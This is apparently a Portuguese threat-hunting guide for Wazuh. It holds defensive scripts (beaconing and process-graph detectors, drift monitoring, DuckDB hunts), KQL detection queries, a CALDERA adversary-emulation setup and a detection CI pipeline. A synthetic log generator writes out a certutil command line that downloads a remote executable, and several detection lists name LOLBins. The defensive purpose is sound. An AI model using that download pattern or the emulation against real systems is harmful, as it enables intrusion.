THREAT HUNTING
COM WAZUH

# Instalar Volatility 3
pip3 install volatility3 --break-system-packages

# Símbolos de Windows (requerido para análise correta)
# Download automático via vol3 na primeira execução
# Ou manualmente em: https://downloads.volatilityfoundation.org/volatility3/symbols/

# Verificar instalação
vol3 --help

# Listar plugins disponíveis
vol3 --info | grep windows

# Adquirir dump de memória (em agente Windows via Wazuh)
# Opção 1: WinPmem (open source)
winpmem_mini_x64.exe -o C:\memdump.raw

# Opção 2: via Velociraptor (integrado com Wazuh)
velociraptor artifacts collect Windows.Memory.Acquisition

# Opção 3: Active Response Wazuh automatizado
# /var/ossec/active-response/bin/acquire-memory.cmd

#!/usr/bin/env python3
"""
Beaconing Detector para logs Wazuh
Analisa intervalos de conexao por processo+destino
Referencia: SANS SEC511 - Beaconing Analysis
"""
import json, math, statistics
from collections import defaultdict
from datetime import datetime
from opensearchpy import OpenSearch

client = OpenSearch([{"host":"localhost","port":9200}],
    http_auth=("admin","SUA_SENHA"), use_ssl=True,
    verify_certs=False)

def calcular_shannon_entropy(string: str) -> float:
    """Calcula entropia de Shannon de uma string"""
    if not string:
        return 0.0
    freq = {}
    for c in string:
        freq[c] = freq.get(c, 0) + 1
    entropia = 0.0
    n = len(string)
    for count in freq.values():
        p = count / n
        if p > 0:
            entropia -= p * math.log2(p)
    return round(entropia, 3)

def buscar_conexoes_dns(horas: int = 24) -> list:
    """Busca consultas DNS no Wazuh (Sysmon EID 22)"""
    query = {
        "query": {
            "bool": {
                "must": [
                    {"term": {"data.win.system.eventID": "22"}},
                    {"range": {"@timestamp": {"gte": f"now-{horas}h"}}}
                ]
            }
        },
        "sort": [{"@timestamp": {"order": "asc"}}],
        "_source": ["@timestamp","agent.name",
                    "data.win.eventdata.queryName",
                    "data.win.eventdata.image"],
        "size": 10000
    }
    resp = client.search(index="wazuh-archives-*", body=query)
    return resp["hits"]["hits"]

def detectar_beaconing(hits: list,
                        jitter_max: float = 0.15,
                        min_ocorrencias: int = 10) -> list:
    """
    Detecta beaconing por baixo desvio padrao nos intervalos.
    Jitter real de C2 profissional: < 15% do intervalo.
    """
    # Agrupar timestamps por (host, dominio)
    grupos = defaultdict(list)
    for h in hits:
        src = h["_source"]
        dominio = src.get("data",{}).get("win",{}).get(
            "eventdata",{}).get("queryName","")
        host = src.get("agent",{}).get("name","")
        ts_str = src.get("@timestamp","")
        if dominio and host and ts_str:
            ts = datetime.fromisoformat(ts_str.replace("Z","+00:00"))
            grupos[(host, dominio)].append(ts)

    alertas = []
    for (host, dominio), timestamps in grupos.items():
        if len(timestamps) < min_ocorrencias:
            continue
        timestamps.sort()
        # Calcular intervalos em segundos
        intervalos = [(timestamps[i+1]-timestamps[i]).total_seconds()
                      for i in range(len(timestamps)-1)]
        if not intervalos:
            continue
        media = statistics.mean(intervalos)
        stdev = statistics.stdev(intervalos) if len(intervalos) > 1 else 0
        cv = stdev / media if media > 0 else 0  # Coeficiente de variacao
        entropia = calcular_shannon_entropy(dominio.split(".")[0])

        # C2 real: CV baixo (pouco jitter) E entropia moderada/alta
        if cv <= jitter_max and media > 0:
            alertas.append({
                "host": host,
                "dominio": dominio,
                "ocorrencias": len(timestamps),
                "intervalo_medio_s": round(media, 1),
                "jitter_cv": round(cv, 3),
                "entropia_dominio": entropia,
                "score_suspeita": round((1 - cv) * entropia * 10, 1)
            })

    return sorted(alertas, key=lambda x: x["score_suspeita"], reverse=True)

if __name__ == "__main__":
    print("[*] Buscando conexoes DNS nas ultimas 24h...")
    hits = buscar_conexoes_dns(24)
    print(f"[*] {len(hits)} eventos encontrados. Analisando...")
    alertas = detectar_beaconing(hits)
    print(f"
{'='*60}")
    print(f"BEACONING DETECTADO: {len(alertas)} candidatos")
    print(f"{'='*60}")
    for a in alertas[:10]:
        print(f"
Host: {a['host']}")
        print(f"  Dominio: {a['dominio']}")
        print(f"  Ocorrencias: {a['ocorrencias']}")
        print(f"  Intervalo medio: {a['intervalo_medio_s']}s")
        print(f"  Jitter CV: {a['jitter_cv']} (< 0.15 = suspeito)")
        print(f"  Entropia: {a['entropia_dominio']}")
        print(f"  Score: {a['score_suspeita']}/10")

# Instalar CALDERA (requer Python 3.8+ e Go)
git clone https://github.com/mitre/caldera.git   --recursive --branch 5.0.0
cd caldera
pip3 install -r requirements.txt   --break-system-packages

# Iniciar servidor CALDERA
python3 server.py --insecure --log DEBUG

# Acesso: http://localhost:8888
# Credenciais default: admin / admin

# Instalar agente Sandcat no alvo (Windows)
# No CALDERA UI: Campaigns > Agents > Deploy Agent
# Escolher: Windows > Sandcat > PowerShell

# Executar perfil de adversario APT29 (Cozy Bear)
# UI: Campaigns > Operations > New Operation
# Adversary: APT29 | Planner: atomic | Agent: sandcat-01
# Start Operation

# Durante a operacao, monitorar Wazuh Dashboard:
# Threat Hunting > MITRE ATT&CK > verificar quais
# tecnicas geraram alertas vs quais passaram despercebidas

# Estrutura do repositório de detecções
detections/
├── rules/
│   ├── windows/
│   │   ├── credential_access/
│   │   │   ├── rule_100010_lsass_access.xml
│   │   │   └── rule_100010_lsass_access.yml  # Sigma
│   │   ├── execution/
│   │   └── persistence/
│   └── linux/
├── tests/
│   ├── datasets/          # Mordor datasets
│   └── test_rules.py      # pytest automático
├── docs/
│   └── hunt_reports/
└── .github/workflows/
    └── detection_ci.yml   # Pipeline CI/CD

# Workflow Git para nova detecção:
git checkout -b hunt/T1003-001-lsass-access
# Escrever regra XML + Sigma
git add rules/windows/credential_access/
git commit -m "feat(detection): T1003.001 LSASS access via Sysmon EID10

Hipótese: Mimikatz/Nanodump acessando LSASS com GrantedAccess suspeito
TTPs: T1003.001 | Level: 14 | FP esperado: baixo
Testado: Mordor empire_mimikatz dataset
Refs: https://attack.mitre.org/techniques/T1003/001/"
git push origin hunt/T1003-001-lsass-access
# Abrir PR → revisão pelo par → merge → CI/CD deploya

# .github/workflows/detection_ci.yml
name: Detection CI/CD Pipeline

on:
  push:
    paths: ['rules/**']
  pull_request:
    paths: ['rules/**']

jobs:
  validate:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Validate XML syntax
        run: |
          python3 -c "
          import xml.etree.ElementTree as ET, glob, sys
          errors = []
          for f in glob.glob('rules/**/*.xml', recursive=True):
              try: ET.parse(f)
              except ET.ParseError as e: errors.append(f'{f}: {e}')
          if errors:
              print('
'.join(errors)); sys.exit(1)
          print(f'All XML valid')
          "

      - name: Convert Sigma and validate
        run: |
          pip install pySigma pySigma-backend-opensearch
          sigma convert -t opensearch -p sysmon             rules/ -o /tmp/converted.txt
          echo "Sigma conversion OK"

      - name: Test against Mordor datasets
        run: python3 tests/test_rules.py

      - name: Deploy to Wazuh (on merge to main)
        if: github.ref == 'refs/heads/main'
        env:
          WAZUH_PASS: ${{ secrets.WAZUH_PASS }}
        run: |
          # Copiar regras para o Manager via SSH
          rsync -avz rules/windows/             wazuh@$WAZUH_MANAGER:/var/ossec/etc/rules/custom/
          # Recarregar regras sem restart
          ssh wazuh@$WAZUH_MANAGER             "/var/ossec/bin/wazuh-control reload"
          echo "Rules deployed and reloaded"

-- KQL Sentinel: OAuth app com scope Mail.Read
-- (T1528 — Steal Application Access Token)
AuditLogs
| where OperationName == "Consent to application"
| extend Scopes = tostring(
    AdditionalDetails[0].value)
| where Scopes has_any
    ("Mail.Read","Mail.ReadWrite","offline_access")
| project TimeGenerated, InitiatedBy,
    TargetResources, Scopes

-- Inbox rules suspeitas criadas (BEC persistence)
-- T1564.008: Hide Artifacts via inbox rules
AuditLogs
| where OperationName in (
    "New-InboxRule","Set-InboxRule")
| extend RuleParams =
    parse_json(tostring(AdditionalDetails))
| where RuleParams has_any
    ("DeleteMessage","MoveToFolder",
     "ForwardTo","RedirectTo")

-- AiTM Phishing: sessão sem MFA após link suspeito
-- Detecta EvilGinx / Modlishka patterns
SigninLogs
| where AuthenticationRequirement ==
    "singleFactorAuthentication"
| where ResultType == 0
| where NetworkLocationDetails has "anonymousProxy"
| project TimeGenerated, UserPrincipalName,
    IPAddress, AppDisplayName, RiskDetail

#!/usr/bin/env python3
"""
Graph Hunter: constrói grafo de processos a partir de logs
Wazuh e detecta anomalias via análise de centralidade
"""
import networkx as nx
import json
from opensearchpy import OpenSearch
from collections import defaultdict

client = OpenSearch([{"host":"localhost","port":9200}],
    http_auth=("admin","SENHA"), use_ssl=True, verify_certs=False)

def build_process_graph(host: str, hours: int = 6) -> nx.DiGraph:
    """Constrói grafo directed de processos (parent→child)"""
    G = nx.DiGraph()
    resp = client.search(index="wazuh-archives-*", body={
        "query": {"bool": {"must": [
            {"term": {"data.win.system.eventID": "1"}},
            {"term": {"agent.name": host}},
            {"range": {"@timestamp": {"gte": f"now-{hours}h"}}}
        ]}},
        "_source": ["data.win.eventdata.processGuid",
                    "data.win.eventdata.parentProcessGuid",
                    "data.win.eventdata.image",
                    "data.win.eventdata.commandLine",
                    "@timestamp"],
        "size": 5000
    })
    for h in resp["hits"]["hits"]:
        s = h["_source"]["data"]["win"]["eventdata"]
        pid  = s.get("processGuid","")
        ppid = s.get("parentProcessGuid","")
        name = s.get("image","").split("\")[-1]
        cmd  = s.get("commandLine","")[:100]
        G.add_node(pid, name=name, cmd=cmd)
        if ppid:
            G.add_edge(ppid, pid)
    return G

def hunt_anomalies(G: nx.DiGraph) -> list:
    alerts = []
    # 1. Centralidade alta = processo hub (worm/dropper)
    centrality = nx.out_degree_centrality(G)
    for node, score in centrality.items():
        if score > 0.1:  # spawna > 10% dos processos
            name = G.nodes[node].get("name","?")
            if name.lower() in ["powershell.exe","cmd.exe",
                                  "wscript.exe","mshta.exe"]:
                alerts.append({
                    "type": "HIGH_CENTRALITY_SUSPICIOUS",
                    "process": name,
                    "score": round(score,3),
                    "severity": "HIGH"
                })

    # 2. Caminho anômalo: LOLBin → execução de código
    lolbins = {"certutil.exe","mshta.exe","regsvr32.exe",
                "rundll32.exe","bitsadmin.exe"}
    for node in G.nodes:
        name = G.nodes[node].get("name","").lower()
        if name in lolbins:
            successors = list(nx.descendants(G, node))
            for s in successors:
                sname = G.nodes[s].get("name","").lower()
                if sname in {"powershell.exe","cmd.exe"}:
                    alerts.append({
                        "type": "LOLBIN_CHAIN",
                        "lolbin": name, "spawned": sname,
                        "severity": "CRITICAL"
                    })
    return alerts

# Executar para host suspeito
G = build_process_graph("WORKSTATION-42", hours=6)
print(f"[*] Grafo: {G.number_of_nodes()} nós, {G.number_of_edges()} arestas")
alerts = hunt_anomalies(G)
for a in alerts:
    print(f"[{a['severity']}] {a['type']}: {a.get('process',a.get('lolbin',''))}")

#!/usr/bin/env python3
"""
Detection Drift Monitor
Detecta degradação silenciosa de regras Wazuh
monitorando volume de alertas, FP rate e data source health
"""
import json
from datetime import datetime, timedelta
from opensearchpy import OpenSearch

client = OpenSearch([{"host":"localhost","port":9200}],
    http_auth=("admin","SENHA"), use_ssl=True, verify_certs=False)

def get_rule_alert_volume(rule_id: int,
                           days: int = 7) -> list:
    """Retorna volume diário de alertas por regra"""
    resp = client.search(index="wazuh-alerts-*", body={
        "query": {"bool": {"must": [
            {"term": {"rule.id": str(rule_id)}},
            {"range": {"@timestamp":
                {"gte": f"now-{days}d"}}}
        ]}},
        "aggs": {"per_day": {"date_histogram": {
            "field": "@timestamp",
            "calendar_interval": "1d"
        }}},
        "size": 0
    })
    return [b["doc_count"] for b in
            resp["aggregations"]["per_day"]["buckets"]]

def detectar_drift(rule_id: int) -> dict:
    """Detecta drift comparando volume atual vs histórico"""
    volumes = get_rule_alert_volume(rule_id, days=30)
    if len(volumes) < 7:
        return {"status": "insuficiente"}

    baseline = volumes[:21]   # primeiras 3 semanas
    recente  = volumes[21:]   # última semana

    import statistics
    avg_baseline = statistics.mean(baseline) if baseline else 0
    avg_recente  = statistics.mean(recente) if recente else 0

    if avg_baseline == 0:
        return {"status": "sem_baseline",
                "rule_id": rule_id,
                "alerta": "REGRA NUNCA DISPAROU — verificar data source"}

    variacao = (avg_recente - avg_baseline) / avg_baseline

    status = "OK"
    alerta = None
    if variacao < -0.70:
        status = "DRIFT_CRITICO"
        alerta = f"Volume caiu {abs(variacao):.0%} — possível data source failure ou rule suppressed"
    elif variacao < -0.30:
        status = "DRIFT_MODERADO"
        alerta = f"Volume caiu {abs(variacao):.0%} — investigar mudanças de ambiente"
    elif variacao > 5.0:
        status = "SPIKE_ANOMALO"
        alerta = f"Volume subiu {variacao:.0%} — possível incident ou false positive storm"

    return {
        "rule_id": rule_id,
        "status": status,
        "baseline_avg": round(avg_baseline, 1),
        "recente_avg": round(avg_recente, 1),
        "variacao_pct": round(variacao * 100, 1),
        "alerta": alerta
    }

def rule_aging_score(rule_id: int,
                      created_days_ago: int) -> dict:
    """Calcula score de envelhecimento de regra"""
    result = detectar_drift(rule_id)
    age_penalty = min(created_days_ago / 365, 1.0) * 20
    drift_penalty = 30 if "DRIFT" in result.get("status","") else 0
    zero_penalty  = 50 if result.get("baseline_avg", 1) == 0 else 0

    freshness_score = 100 - age_penalty - drift_penalty - zero_penalty
    return {
        **result,
        "age_days": created_days_ago,
        "freshness_score": round(max(freshness_score, 0), 1),
        "recommendation": (
            "REVISAR URGENTE" if freshness_score < 40 else
            "Revisar no próximo ciclo" if freshness_score < 70 else
            "OK"
        )
    }

# Auditar top 10 regras críticas
regras_criticas = [100010, 100020, 100025, 100030, 100042]
print(f"
{'='*60}")
print("DETECTION DRIFT REPORT")
print(f"{'='*60}")
for rid in regras_criticas:
    resultado = rule_aging_score(rid, created_days_ago=365)
    if resultado["status"] != "OK":
        print(f"
[{resultado['status']}] Rule {rid}")
        print(f"  Baseline: {resultado.get('baseline_avg',0)} alerts/day")
        print(f"  Recente:  {resultado.get('recente_avg',0)} alerts/day")
        print(f"  Variação: {resultado.get('variacao_pct',0)}%")
        if resultado.get("alerta"):
            print(f"  ALERTA: {resultado['alerta']}")
        print(f"  Freshness Score: {resultado['freshness_score']}/100")
        print(f"  → {resultado['recommendation']}")

#!/usr/bin/env python3
"""
Wazuh Log Hunter com DuckDB + Parquet
Processa exports de logs em escala sem SIEM
"""
import duckdb
import pandas as pd
from pathlib import Path

# Exportar logs Wazuh para Parquet
# (via OpenSearch Dashboards > Export > CSV, convert)
def export_wazuh_to_parquet(index: str, days: int,
                              output: str):
    from opensearchpy import OpenSearch
    import pyarrow as pa, pyarrow.parquet as pq
    client = OpenSearch([{"host":"localhost","port":9200}],
        http_auth=("admin","SENHA"), use_ssl=True,
        verify_certs=False)
    resp = client.search(index=f"wazuh-{index}-*", body={
        "query": {"range": {
            "@timestamp": {"gte": f"now-{days}d"}}},
        "size": 50000,
        "_source": ["@timestamp","agent.name","rule.id",
                    "rule.level","data.win.eventdata.image",
                    "data.win.eventdata.commandLine",
                    "data.win.eventdata.destinationIp"]
    })
    rows = [h["_source"] for h in resp["hits"]["hits"]]
    df = pd.json_normalize(rows)
    table = pa.Table.from_pandas(df)
    pq.write_table(table, output,
                   compression="snappy")
    print(f"[*] {len(rows)} eventos → {output}")

# Conectar DuckDB e consultar Parquet diretamente
con = duckdb.connect(":memory:")

# Registrar Parquet como tabela virtual
con.execute("""
    CREATE VIEW wazuh_logs AS
    SELECT * FROM read_parquet(
        '/opt/hunt/exports/wazuh_*.parquet',
        hive_partitioning=true
    )
""")

# HUNT 1: Top processos suspeitos por frequência anômala
print("
=== HUNT: Processos com execução anômala ===")
resultado = con.execute("""
    SELECT
        "agent.name" as host,
        "data.win.eventdata.image" as processo,
        COUNT(*) as execucoes,
        COUNT(DISTINCT DATE_TRUNC('hour',
            "@timestamp"::TIMESTAMP)) as horas_ativas,
        ROUND(COUNT(*) / COUNT(DISTINCT DATE_TRUNC(
            'hour', "@timestamp"::TIMESTAMP)), 1
        ) as freq_por_hora
    FROM wazuh_logs
    WHERE "rule.id" = '61603'  -- Sysmon EID 1
      AND "@timestamp" >= NOW() - INTERVAL '7 days'
    GROUP BY host, processo
    HAVING execucoes > 10
       AND freq_por_hora > 50
    ORDER BY freq_por_hora DESC
    LIMIT 20
""").df()
print(resultado.to_string())

# HUNT 2: Beaconing por regularidade de conexões (DuckDB window)
print("
=== HUNT: Beaconing via análise de intervalos ===")
beaconing = con.execute("""
    WITH conexoes AS (
        SELECT
            "agent.name" as host,
            "data.win.eventdata.destinationIp" as dst_ip,
            "@timestamp"::TIMESTAMP as ts
        FROM wazuh_logs
        WHERE "rule.id" = '61612'  -- Sysmon EID 3
    ),
    intervalos AS (
        SELECT host, dst_ip,
            EXTRACT(EPOCH FROM (
                ts - LAG(ts) OVER (
                    PARTITION BY host, dst_ip
                    ORDER BY ts
                )
            )) as intervalo_s
        FROM conexoes
    ),
    stats AS (
        SELECT host, dst_ip,
            COUNT(*) as n_conexoes,
            ROUND(AVG(intervalo_s), 1) as media_s,
            ROUND(STDDEV(intervalo_s), 1) as stdev_s,
            ROUND(STDDEV(intervalo_s) /
                NULLIF(AVG(intervalo_s), 0), 3
            ) as cv
        FROM intervalos
        WHERE intervalo_s IS NOT NULL
        GROUP BY host, dst_ip
        HAVING COUNT(*) >= 10
    )
    SELECT * FROM stats
    WHERE cv < 0.15  -- coeficiente de variacao baixo = beaconing
      AND NOT dst_ip LIKE '10.%'
      AND NOT dst_ip LIKE '192.168.%'
    ORDER BY cv ASC
    LIMIT 20
""").df()
print(beaconing.to_string())

#!/usr/bin/env python3
"""
Synthetic Log Generator para técnicas raras
Gera eventos Sysmon realistas para TTPs com
poucos exemplos reais disponíveis
"""
import json, random, uuid
from datetime import datetime, timedelta
from faker import Faker

fake = Faker()

class SysmonEventGenerator:
    """Gera eventos Sysmon sintéticos baseados em TTPs reais"""

    LOLBINS = ["certutil.exe","mshta.exe","rundll32.exe",
               "regsvr32.exe","wscript.exe","cscript.exe"]
    SYSTEM_PROCESSES = ["svchost.exe","lsass.exe",
                        "winlogon.exe","explorer.exe"]

    def __init__(self, host: str = None):
        self.host = host or fake.hostname()
        self.base_time = datetime.utcnow()

    def generate_eid1(self, is_malicious: bool = False,
                       ttp: str = None) -> dict:
        """Gera evento de criação de processo (EID 1)"""
        if is_malicious and ttp == "T1218":
            # LOLBin execution
            image = random.choice(self.LOLBINS)
            parent = random.choice(["powershell.exe",
                                    "cmd.exe","wscript.exe"])
            cmdline = f"{image} /urlcache -split -f http://{fake.ipv4()}/{fake.slug()}.exe"
        else:
            # Processo legítimo
            image = f"software_{random.randint(1,50)}.exe"
            parent = "explorer.exe"
            cmdline = f'"{image}" --run'

        offset = random.randint(0, 86400)
        ts = (self.base_time +
              timedelta(seconds=offset)).isoformat() + "Z"
        return {
            "@timestamp": ts,
            "agent": {"name": self.host},
            "data": {"win": {"system": {"eventID": "1"},
                "eventdata": {
                    "processGuid": str(uuid.uuid4()),
                    "image": f"C:\Windows\System32\{image}",
                    "commandLine": cmdline,
                    "parentImage": f"C:\Windows\System32\{parent}",
                    "user": f"CORP\{fake.user_name()}",
                    "hashes": f"SHA256={fake.sha256()}"
                }}},
            "rule": {"id": "61603", "level": 3},
            "labels": {
                "is_malicious": is_malicious,
                "ttp": ttp or "none"
            }
        }

    def generate_dataset(self, n_benign: int = 10000,
                          n_malicious: int = 500,
                          ttp: str = "T1218") -> list:
        """Gera dataset balanceado para treino de ML"""
        events = []
        for _ in range(n_benign):
            events.append(self.generate_eid1(False))
        for _ in range(n_malicious):
            events.append(self.generate_eid1(True, ttp))
        random.shuffle(events)
        return events

# Gerar e salvar dataset
gen = SysmonEventGenerator("CORP-WORKSTATION-01")
dataset = gen.generate_dataset(n_benign=10000,
                                n_malicious=500)
print(f"[*] Dataset: {len(dataset)} eventos")
print(f"  Benign: {sum(1 for e in dataset if not e['labels']['is_malicious'])}")
print(f"  Malicious: {sum(1 for e in dataset if e['labels']['is_malicious'])}")

import json
with open("/tmp/synthetic_dataset.json","w") as f:
    for ev in dataset:
        f.write(json.dumps(ev) + "
")
print("[*] Salvo em /tmp/synthetic_dataset.json")